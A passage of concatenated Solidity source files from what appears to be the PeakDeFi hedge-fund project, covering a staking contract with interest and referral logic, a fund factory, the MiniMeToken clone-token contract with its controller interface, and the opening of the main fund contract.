= stakeAmount / (10 million peak) uint256 internal constant MAX_BIGGER_BONUS = 10**17; // biggerBonus <= 10% uint256 internal constant DAILY_BASE_REWARD = 15 * (10**14); // dailyBaseReward = 0.0015 uint256 internal constant DAILY_GROWING_REWARD = 10**12; // dailyGrowingReward = 1e-6 uint256 internal constant MAX_STAKE_PERIOD = 1000; // Max staking time is 1000 days uint256 internal constant MIN_STAKE_PERIOD = 10; // Min staking time is 10 days uint256 internal constant DAY_IN_SECONDS = 86400; uint256 internal constant COMMISSION_RATE = 20 * (10**16); // 20% uint256 internal constant REFERRAL_STAKER_BONUS = 3 * (10**16); // 3% uint256 internal constant YEAR_IN_DAYS = 365; uint256 public constant PEAK_MINT_CAP = 7 * 10**16; // 700 million PEAK struct Stake { address staker; uint256 stakeAmount; uint256 interestAmount; uint256 withdrawnInterestAmount; uint256 stakeTimestamp; uint256 stakeTimeInDays; bool active; } Stake[] public stakeList; mapping(address => uint256) public userStakeAmount; uint256 public mintedPeakTokens; bool public initialized; PeakToken public peakToken; PeakReward public peakReward; constructor(address _peakToken) public { peakToken = PeakToken(_peakToken); } function init(address _peakReward) public { require(!initialized, "PeakStaking: Already initialized"); initialized = true; peakReward = PeakReward(_peakReward); } function stake( uint256 stakeAmount, uint256 stakeTimeInDays, address referrer ) public returns (uint256 stakeIdx) { require( stakeTimeInDays >= MIN_STAKE_PERIOD, "PeakStaking: stakeTimeInDays < MIN_STAKE_PERIOD" ); require( stakeTimeInDays <= MAX_STAKE_PERIOD, "PeakStaking: stakeTimeInDays > MAX_STAKE_PERIOD" ); // record stake uint256 interestAmount = getInterestAmount( stakeAmount, stakeTimeInDays ); stakeIdx = stakeList.length; stakeList.push( Stake({ staker: msg.sender, stakeAmount: stakeAmount, interestAmount: interestAmount, withdrawnInterestAmount: 0, stakeTimestamp: now, stakeTimeInDays: stakeTimeInDays, active: true }) ); mintedPeakTokens = mintedPeakTokens.add(interestAmount); userStakeAmount[msg.sender] = userStakeAmount[msg.sender].add( stakeAmount ); // transfer PEAK from msg.sender peakToken.safeTransferFrom(msg.sender, address(this), stakeAmount); // mint PEAK interest peakToken.mint(address(this), interestAmount); // handle referral if (peakReward.canRefer(msg.sender, referrer)) { peakReward.refer(msg.sender, referrer); } address actualReferrer = peakReward.referrerOf(msg.sender); if (actualReferrer != address(0)) { // pay referral bonus to referrer uint256 rawCommission = interestAmount.mul(COMMISSION_RATE).div( PRECISION ); peakToken.mint(address(this), rawCommission); peakToken.safeApprove(address(peakReward), rawCommission); uint256 leftoverAmount = peakReward.payCommission( actualReferrer, address(peakToken), rawCommission, true ); peakToken.burn(leftoverAmount); // pay referral bonus to staker uint256 referralStakerBonus = interestAmount .mul(REFERRAL_STAKER_BONUS) .div(PRECISION); peakToken.mint(msg.sender, referralStakerBonus); mintedPeakTokens = mintedPeakTokens.add( rawCommission.sub(leftoverAmount).add(referralStakerBonus) ); emit ReceiveStakeReward(stakeIdx, msg.sender, referralStakerBonus); } require(mintedPeakTokens <= PEAK_MINT_CAP, "PeakStaking: reached cap"); emit CreateStake( stakeIdx, msg.sender, actualReferrer, stakeAmount, stakeTimeInDays, interestAmount ); } function withdraw(uint256 stakeIdx) public { Stake storage stakeObj = stakeList[stakeIdx]; require( stakeObj.staker == msg.sender, "PeakStaking: Sender not staker" ); require(stakeObj.active, "PeakStaking: Not active"); // calculate amount that can be withdrawn uint256 stakeTimeInSeconds = stakeObj.stakeTimeInDays.mul( DAY_IN_SECONDS ); uint256 withdrawAmount; if (now >= stakeObj.stakeTimestamp.add(stakeTimeInSeconds)) { // matured, withdraw all withdrawAmount = stakeObj .stakeAmount .add(stakeObj.interestAmount) .sub(stakeObj.withdrawnInterestAmount); stakeObj.active = false; stakeObj.withdrawnInterestAmount = stakeObj.interestAmount; userStakeAmount[msg.sender] = userStakeAmount[msg.sender].sub( stakeObj.stakeAmount ); emit WithdrawReward( stakeIdx, msg.sender, stakeObj.interestAmount.sub(stakeObj.withdrawnInterestAmount) ); emit WithdrawStake(stakeIdx, msg.sender); } else { // not mature, partial withdraw withdrawAmount = stakeObj .interestAmount .mul(uint256(now).sub(stakeObj.stakeTimestamp)) .div(stakeTimeInSeconds) .sub(stakeObj.withdrawnInterestAmount); // record withdrawal stakeObj.withdrawnInterestAmount = stakeObj .withdrawnInterestAmount .add(withdrawAmount); emit WithdrawReward(stakeIdx, msg.sender, withdrawAmount); } // withdraw interest to sender peakToken.safeTransfer(msg.sender, withdrawAmount); } function getInterestAmount(uint256 stakeAmount, uint256 stakeTimeInDays) public view returns (uint256) { uint256 earlyFactor = _earlyFactor(mintedPeakTokens); uint256 biggerBonus = stakeAmount.mul(PRECISION).div( BIGGER_BONUS_DIVISOR ); if (biggerBonus > MAX_BIGGER_BONUS) { biggerBonus = MAX_BIGGER_BONUS; } // convert yearly bigger bonus to stake time biggerBonus = biggerBonus.mul(stakeTimeInDays).div(YEAR_IN_DAYS); uint256 longerBonus = _longerBonus(stakeTimeInDays); uint256 interestRate = biggerBonus.add(longerBonus).mul(earlyFactor).div( PRECISION ); uint256 interestAmount = stakeAmount.mul(interestRate).div(PRECISION); return interestAmount; } function _longerBonus(uint256 stakeTimeInDays) internal pure returns (uint256) { return DAILY_BASE_REWARD.mul(stakeTimeInDays).add( DAILY_GROWING_REWARD .mul(stakeTimeInDays) .mul(stakeTimeInDays.add(1)) .div(2) ); } function _earlyFactor(uint256 _mintedPeakTokens) internal pure returns (uint256) { uint256 tmp = INTEREST_SLOPE.mul(_mintedPeakTokens).div(PEAK_PRECISION); if (tmp > PRECISION) { return 0; } return PRECISION.sub(tmp); } } pragma solidity 0.5.17; import "./lib/CloneFactory.sol"; import "./tokens/minime/MiniMeToken.sol"; import "./PeakDeFiFund.sol"; import "./PeakDeFiProxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; contract PeakDeFiFactory is CloneFactory { using Address for address; event CreateFund(address fund); event InitFund(address fund, address proxy); address public usdcAddr; address payable public kyberAddr; address payable public oneInchAddr; address payable public peakdefiFund; address public peakdefiLogic; address public peakdefiLogic2; address public peakdefiLogic3; address public peakRewardAddr; address public peakStakingAddr; MiniMeTokenFactory public minimeFactory; mapping(address => address) public fundCreator; constructor( address _usdcAddr, address payable _kyberAddr, address payable _oneInchAddr, address payable _peakdefiFund, address _peakdefiLogic, address _peakdefiLogic2, address _peakdefiLogic3, address _peakRewardAddr, address _peakStakingAddr, address _minimeFactoryAddr ) public { usdcAddr = _usdcAddr; kyberAddr = _kyberAddr; oneInchAddr = _oneInchAddr; peakdefiFund = _peakdefiFund; peakdefiLogic = _peakdefiLogic; peakdefiLogic2 = _peakdefiLogic2; peakdefiLogic3 = _peakdefiLogic3; peakRewardAddr = _peakRewardAddr; peakStakingAddr = _peakStakingAddr; minimeFactory = MiniMeTokenFactory(_minimeFactoryAddr); } function createFund() external returns (PeakDeFiFund) { // create fund PeakDeFiFund fund = PeakDeFiFund(createClone(peakdefiFund).toPayable()); fund.initOwner(); // give PeakReward signer rights to fund PeakReward peakReward = PeakReward(peakRewardAddr); peakReward.addSigner(address(fund)); fundCreator[address(fund)] = msg.sender; emit CreateFund(address(fund)); return fund; } function initFund1( PeakDeFiFund fund, string calldata reptokenName, string calldata reptokenSymbol, string calldata sharesName, string calldata sharesSymbol ) external { require( fundCreator[address(fund)] == msg.sender, "PeakDeFiFactory: not creator" ); // create tokens MiniMeToken reptoken = minimeFactory.createCloneToken( address(0), 0, reptokenName, 18, reptokenSymbol, false ); MiniMeToken shares = minimeFactory.createCloneToken( address(0), 0, sharesName, 18, sharesSymbol, true ); MiniMeToken peakReferralToken = minimeFactory.createCloneToken( address(0), 0, "Peak Referral Token", 18, "PRT", false ); // transfer token ownerships to fund reptoken.transferOwnership(address(fund)); shares.transferOwnership(address(fund)); peakReferralToken.transferOwnership(address(fund)); fund.initInternalTokens( address(reptoken), address(shares), address(peakReferralToken) ); } function initFund2( PeakDeFiFund fund, address payable _devFundingAccount, uint256 _devFundingRate, uint256[2] calldata _phaseLengths, address _compoundFactoryAddr ) external { require( fundCreator[address(fund)] == msg.sender, "PeakDeFiFactory: not creator" ); fund.initParams( _devFundingAccount, _phaseLengths, _devFundingRate, address(0), usdcAddr, kyberAddr, _compoundFactoryAddr, peakdefiLogic, peakdefiLogic2, peakdefiLogic3, 1, oneInchAddr, peakRewardAddr, peakStakingAddr ); } function initFund3( PeakDeFiFund fund, uint256 _newManagerRepToken, uint256 _maxNewManagersPerCycle, uint256 _reptokenPrice, uint256 _peakManagerStakeRequired, bool _isPermissioned ) external { require( fundCreator[address(fund)] == msg.sender, "PeakDeFiFactory: not creator" ); fund.initRegistration( _newManagerRepToken, _maxNewManagersPerCycle, _reptokenPrice, _peakManagerStakeRequired, _isPermissioned ); } function initFund4( PeakDeFiFund fund, address[] calldata _kyberTokens, address[] calldata _compoundTokens ) external { require( fundCreator[address(fund)] == msg.sender, "PeakDeFiFactory: not creator" ); fund.initTokenListings(_kyberTokens, _compoundTokens); // deploy and set PeakDeFiProxy PeakDeFiProxy proxy = new PeakDeFiProxy(address(fund)); fund.setProxy(address(proxy).toPayable()); // transfer fund ownership to msg.sender fund.transferOwnership(msg.sender); emit InitFund(address(fund), address(proxy)); } } pragma solidity 0.5.17; /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title MiniMeToken Contract /// @author Jordi Baylina /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. import "@openzeppelin/contracts/ownership/Ownable.sol"; import "./TokenController.sol"; contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes memory _data) public; } /// @dev The actual token contract, the default owner is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token owner contract, which Giveth will call a "Campaign" contract MiniMeToken is Ownable { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = "MMT_0.2"; //An arbitrary versioning scheme /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred constructor( address _tokenFactory, address payable _parentToken, uint _parentSnapShotBlock, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { // The owner of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // owner of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != owner()) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { emit Transfer(_from, _to, _amount); // Follow the spec to louch the event when transfer 0 return; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != address(0)) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer throws uint previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); // Alerts the token owner of the transfer if (isContract(owner())) { require(TokenController(owner()).onTransfer(_from, _to, _amount)); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); // Alerts the token owner of the approve function call if (isContract(owner())) { require(TokenController(owner()).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender ) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address _spender, uint256 _amount, bytes memory _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, address(this), _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public view returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public view returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != address(0)) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public view returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != address(0)) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string memory _cloneTokenName, uint8 _cloneDecimalUnits, string memory _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { uint snapshotBlock = _snapshotBlock; if (snapshotBlock == 0) snapshotBlock = block.number; MiniMeToken cloneToken = tokenFactory.createCloneToken( address(this), snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.transferOwnership(msg.sender); // An event to make the token easy to find on the blockchain emit NewCloneToken(address(cloneToken), snapshotBlock); return address(cloneToken); } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount ) public onlyOwner returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); emit Transfer(address(0), _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount ) onlyOwner public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); emit Transfer(_owner, address(0), _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) public onlyOwner { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block ) view internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) view internal returns(bool) { uint size; if (_addr == address(0)) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } /// @notice The fallback function: If the contract's owner has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token owner contract function () external payable { require(isContract(owner())); require(TokenController(owner()).proxyPayment.value(msg.value)(msg.sender)); } ////////// // Safety Methods ////////// /// @notice This method can be used by the owner to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address payable _token) public onlyOwner { if (_token == address(0)) { address(uint160(owner())).transfer(address(this).balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(address(this)); require(token.transfer(owner(), balance)); emit ClaimedTokens(_token, owner(), balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { event CreatedToken(string symbol, address addr); /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the owner of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( address payable _parentToken, uint _snapshotBlock, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol, bool _transfersEnabled ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( address(this), _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.transferOwnership(msg.sender); emit CreatedToken(_tokenSymbol, address(newToken)); return newToken; } } pragma solidity 0.5.17; /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) public payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) public returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } pragma solidity 0.5.17; import "./PeakDeFiStorage.sol"; import "./derivatives/CompoundOrderFactory.sol"; /** * @title The main smart contract of the PeakDeFi hedge fund. * @author Zefram Lou (Zebang Liu) */ contract PeakDeFiFund is PeakDeFiStorage, Utils(address(0), address(0), address(0)), TokenController { /** * @notice Passes if the fund is ready for migrating to the next version */ modifier readyForUpgradeMigration { require(hasFinalizedNextVersion == true); require( now > startTimeOfCyclePhase.add( phaseLengths[uint256(CyclePhase.Intermission)] ) ); _; } /** * Meta functions */ function initParams( address payable _devFundingAccount, uint256[2] calldata _phaseLengths, uint256 _devFundingRate, address payable _previousVersion, address _usdcAddr, address payable _kyberAddr, address _compoundFactoryAddr, address _peakdefiLogic, address _peakdefiLogic2, address _peakdefiLogic3, uint256 _startCycleNumber, address payable _oneInchAddr, address _peakRewardAddr, address _peakStakingAddr ) external { require(proxyAddr == address(0)); devFundingAccount = _devFundingAccount; phaseLengths = _phaseLengths; devFundingRate = _devFundingRate; cyclePhase = CyclePhase.Intermission; compoundFactoryAddr = _compoundFactoryAddr; peakdefiLogic = _peakdefiLogic; peakdefiLogic2 = _peakdefiLogic2; peakdefiLogic3 = _peakdefiLogic3; previousVersion = _previousVersion; cycleNumber = _startCycleNumber; peakReward = PeakReward(_peakRewardAddr); peakStaking = PeakStaking(_peakStakingAddr); USDC_ADDR = _usdcAddr; KYBER_ADDR = _kyberAddr; ONEINCH_ADDR = _oneInchAddr; usdc = ERC20Detailed(_usdcAddr); kyber = KyberNetwork(_kyberAddr); __initReentrancyGuard(); } function initOwner() external { require(proxyAddr == address(0)); _transferOwnership(msg.sender); } function initInternalTokens( address payable _repAddr, address payable _sTokenAddr, address payable _peakReferralTokenAddr ) external onlyOwner { require(controlTokenAddr == address(0)); require(_repAddr != address(0)); controlTokenAddr = _repAddr; shareTokenAddr = _sTokenAddr; cToken = IMiniMeToken(_repAddr); sToken = IMiniMeToken(_sTokenAddr); peakReferralToken = IMiniMeToken(_peakReferralTokenAddr); } function initRegistration( uint256 _newManagerRepToken, uint256 _maxNewManagersPerCycle, uint256 _reptokenPrice, uint256 _peakManagerStakeRequired, bool _isPermissioned ) external onlyOwner { require(_newManagerRepToken > 0 && newManagerRepToken == 0); newManagerRepToken = _newManagerRepToken; maxNewManagersPerCycle = _maxNewManagersPerCycle; reptokenPrice = _reptokenPrice; peakManagerStakeRequired = _peakManagerStakeRequired; isPermissioned = _isPermissioned; } function initTokenListings( address[] calldata _kyberTokens, address[] calldata _compoundTokens ) external onlyOwner { // May only initialize once require(!hasInitializedTokenListings); hasInitializedTokenListings = true; uint256 i; for (i = 0; i < _kyberTokens.length; i++) { isKyberToken[_kyberTokens[i]] = true; } CompoundOrderFactory factory = CompoundOrderFactory(compoundFactoryAddr); for (i = 0; i < _compoundTokens.length; i++) { require(factory.tokenIsListed(_compoundTokens[i])); isCompoundToken[_compoundTokens[i]] = true; } } /** * @notice Used during deployment to set the PeakDeFiProxy contract address. * @param _proxyAddr the proxy's address */ function setProxy(address payable _proxyAddr) external onlyOwner { require(_proxyAddr != address(0)); require(proxyAddr == address(0)); proxyAddr = _proxyAddr; proxy = PeakDeFiProxyInterface(_proxyAddr); } /** * Upgrading functions */ /** * @notice Allows the developer to propose a candidate smart contract for the fund to upgrade to. * The developer may change the candidate during the Intermission phase. * @param _candidate the address of the candidate smart contract * @return True if successfully changed candidate, false otherwise. */ function developerInitiateUpgrade(address payable _candidate) public returns (bool _success) { (bool success, bytes memory result) = peakdefiLogic3.delegatecall( abi.encodeWithSelector( this.developerInitiateUpgrade.selector, _candidate ) ); if (!success) { return false; } return abi.decode(result, (bool)); } /** * @notice Transfers ownership of RepToken & Share token contracts to the next version. Also updates PeakDeFiFund's * address in PeakDeFiProxy. */ function migrateOwnedContractsToNextVersion() public nonReentrant readyForUpgradeMigration { cToken.transferOwnership(nextVersion); sToken.transferOwnership(nextVersion); peakReferralToken.transferOwnership(nextVersion); proxy.updatePeakDeFiFundAddress(); } /** * @notice Transfers assets to the next version. * @param _assetAddress the address of the asset to be transferred. Use ETH_TOKEN_ADDRESS to transfer Ether. */ function transferAssetToNextVersion(address _assetAddress) public nonReentrant readyForUpgradeMigration isValidToken(_assetAddress) { if (_assetAddress == address(ETH_TOKEN_ADDRESS)) { nextVersion.transfer(address(this).balance); } else { ERC20Detailed token = ERC20Detailed(_assetAddress); token.safeTransfer(nextVersion, token.balanceOf(address(this))); } } /** * Getters */ /** * @notice Returns the length of the user's investments array. * @return length of the user's investments array */ function investmentsCount(address _userAddr) public view returns (uint256 _count) { return userInvestments[_userAddr].length; } /** * @notice Returns the length of the user's compound orders array. * @return length of the user's compound orders array */ function compoundOrdersCount(address _userAddr) public view returns (uint256 _count) { return userCompoundOrders[_userAddr].length; } /** * @notice Returns the phaseLengths array. * @return the phaseLengths array */ function getPhaseLengths() public view returns (uint256[2] memory _phaseLengths) { return phaseLengths; } /** * @notice Returns the commission balance of `_manager` * @return the commission balance and the received penalty, denoted in USDC */ function commissionBalanceOf(address _manager) public returns (uint256 _commission, uint256 _penalty) { (bool success, bytes memory result) = peakdefiLogic3.delegatecall( abi.encodeWithSelector(this.commissionBalanceOf.selector, _manager) ); if (!success) { return (0, 0); } return abi.decode(result, (uint256, uint256)); } /** * @notice Returns the commission amount received by `_manager` in the `_cycle`th cycle * @return the commission amount and the received penalty, denoted in USDC */ function commissionOfAt(address _manager, uint256 _cycle) public returns (uint256 _commission, uint256 _penalty) { (bool success, bytes memory result) = peakdefiLogic3.delegatecall( abi.encodeWithSelector( this.commissionOfAt.selector, 